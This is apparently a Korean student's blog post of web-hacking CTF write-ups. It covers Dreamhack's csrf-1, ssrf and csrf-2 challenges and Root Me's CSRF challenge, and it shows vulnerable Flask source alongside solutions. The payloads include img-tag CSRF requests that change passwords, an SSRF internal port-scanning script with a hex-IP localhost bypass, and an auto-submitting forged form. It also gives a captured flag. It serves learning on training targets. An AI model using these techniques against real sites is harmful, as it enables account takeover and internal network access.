csrf-1


#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
app.run(host="0.0.0.0", port=8000)
문제 설명, 메인 화면, 파이썬 코드는 위와 같다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
일단 xss 필터가 있는 걸 보아 xss로 풀긴 어려워 보인다.
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
memo_text에 flag를 포함한 문장이 추가되는 걸 확인할 수 있다.
if문들을 확인하니 127.0.0.1에 userid가 admin이 되면 flag를 출력할 수 있다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
memo_text는 memo 페이지에 출력된다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
flag 페이지는 POST 요청을 받는다.
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
param을 받아 http://~로 요청하는 거 같다.
이미 127.0.0.1로 맞춰져있으니 userid를 admin으로 설정하는 param을 추가하면 된다.
<img src="/admin/notice_flag?userid=admin">
라업을 참고하니 위와 같은 param을 넣어줬다.

ssrf


#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
문제 설명과 메인화면, 파이썬 코드
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
flag는 저기 있다고 한다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
페이지가 하나밖에 없다
image viewer는 ssrf의 주요 표적이라고 한다.
base64로 인코딩 한 거 같은데 그냥 /flag.txt 열람하려고 했더니
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
필터링 때문에 안된다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
하지만 127.0.0.1 호스트와 port를 1500~1800 중에 하나로 맞춰줘야 flag.txt를 열람할 수 있기 때문에
hex값으로 우회 0x7f000001
port 찾는 파이썬 코드
import requests
import sys
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in range(1500, 1801):
img_url = f"http://Localhost:{port}"
print(img_url)
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_url = f"http://host3.dreamhack.games:18741/img_viewer"
internal_port = find_port()

코드 실행 결과 포트 번호는 1787 이었다.


data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9
DH{43dd2189056475a7f3bd11456a17ad71}가 나온다
csrf-2


#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
app.run(host="0.0.0.0", port=8000)
문제설명과 파이썬 코드
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
첫 화면 please login이라길래 login 부분 먼저 봤다.
password가 맞으면 무언가 응답이 나오는 거 같다.
users = {
'guest': 'guest',
'admin': FLAG
}
admin의 pw가 FLAG
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
chage_password가 있었다
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
post로 파라미터 받으면 session id hex값 랜덤.. 그리고 이게 admin을 저장하는 거 같다.
잘은 모르겠지만 flag -> change_password

/change_password?pw=FLAG로 해봤더니

이부분에서 진도가 안 나가서 라이트업을 참고했더니 그냥 flag에서 받는 파라미터에 /change_password?pw=(원하는비밀번호)를 넣으면 되는 거였다 다만 또 img src 속성을 사용해서
<img src="/change_password?pw=admin">
flag페이지의 파라미터로 전달하면 되는 거였다.

라이트업을 보니까 왜 index에 flag가 나오나 싶었더니
비밀번호를 알아내는 문제가 아니고..
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
메인 화면을 지나쳤는데 return문을 보니 여기서도 FLAG를 출력할 수 있었다.
다음부터는 /도 꼼꼼하게 확인해야겠다.
csrf-1에서도 나왔고 img src에 대해서 짚고 가야할 거 같다.
img 태그: 웹페이지에 이미지를 표시하는 태그이다.
이미지를 설명하기 위해 속성과 함께 작성해야 한다. 속성의 종류는 다음과 같다.
| 속성 | |
| src | 이미지 이름 URL 형식으로 지정 |
| width, height | 이미지 출력할 너비와 높이 지정 |
| alt | 이미지 출력 오류 시, 출력할 텍스트 |
| title | 이미지에 커서를 올려둘 때 뜨는 이미지 설명 지정 |
[Root Me] CSRF - 0 protection

register에서 admin admin으로 만들고 login 해봤다

profile 클릭

profile 입력창 하나

private을 열어달라 해야하는건가?


contact에 아무거나 보내봤다.
administrator을 거쳐가는 거 같다.
your email칸에는 @ 앞뒤가 채워져 있어야 하는듯

@뒤에 *포함은 필터링이 걸린다

음... 모르겠어서 라이트업 참고했다
status를 comment창으로 checked 상태로 바꾸는 문제였다
<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="admin">
<input type="text" name="username" value="admin">
<input type="checkbox" name="status" checked>
</form>
<script>javascript:document.getElementById("admin").submit();</script>
f12를 열어서 form 형태를 바꿔주고 script로 전달하는 명령어를 넣었다

'SWING > web hacking' 카테고리의 다른 글
| SWING WEB 4주차(1) (0) | 2023.11.12 |
|---|---|
| SWING WEB 4주차(2) (0) | 2023.11.12 |
| SWING WEB 3주차(1) (0) | 2023.09.25 |
| SWING WEB 2주차(2) (0) | 2023.09.19 |
| SWING WEB 2주차(1) (0) | 2023.09.19 |
